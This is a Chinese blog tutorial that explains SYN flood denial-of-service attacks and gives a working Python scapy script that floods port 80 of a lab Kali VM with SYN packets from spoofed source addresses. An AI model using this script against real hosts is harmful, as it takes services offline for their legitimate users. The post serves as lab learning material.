编写python脚本实现SYN FLOOD(DDOS)
原理
SYN FLOOD是DDOS的一种,发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。
攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,从而就无法为正常用户提供服务了。
实验方式
在本机运行脚本,攻击kali linux靶机的80端口,模拟攻击靶机网站,然后在kali linux里使用wireshark观察接收数据分析信息验证是否成功。
Python脚本
代码语言:javascript复制import random
import time
from scapy.all import *
#这里的tgt是被攻击的靶机的IP地址
tgt="192.168.137.128"
print(tgt)
dPort = 80
def synFlood(tgt,dPort):
srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
packet = ipLayer / tcpLayer
send(packet)
synFlood(tgt,dPort)
kali linux靶机开启apache,并且绑定0.0.0.0:80端口
查看服务开启状态
代码语言:javascript复制service --stauts-all
这里apache没有开启,我们将其开启
代码语言:javascript复制service apache2 start
小插曲:主机访问不了kali linux虚拟机的解决方案
这中间遇到了个小插曲,我的主机访问不了虚拟机,这里需要进行网卡还原操作。
需要管理员权限,编辑ports.conf文件
代码语言:javascript复制sudo vim /etc/apache2/ports.conf
编辑文件将80端口改成0.0.0.0:80
在kali打开wireshark
windows里运行python脚本
kali里面是自带的scapy,这里windows电脑要提前装好scapy
代码语言:javascript复制pip3 install scapy-python3
如果中间提示
代码语言:javascript复制Traceback (most recent call last):
File "D:PycharmProjectsnewmain.py", line 3, in
from scapy.all import *
ModuleNotFoundError: No module named 'scapy'
如下图所示
我们需要将scapy的包拷到项目的目录里就好了
然后就可以运行了,可以看到已经在疯狂发包了。
kali这边已经可以看到很多发送请求,这里通过SNY FLOOD可以占用虚拟机很大的资源,但是这里因为是内网所以带宽方面表现不明显,如果是外网的话,通过SNY断开连接占用大量带宽资源,应该会有明显的卡顿。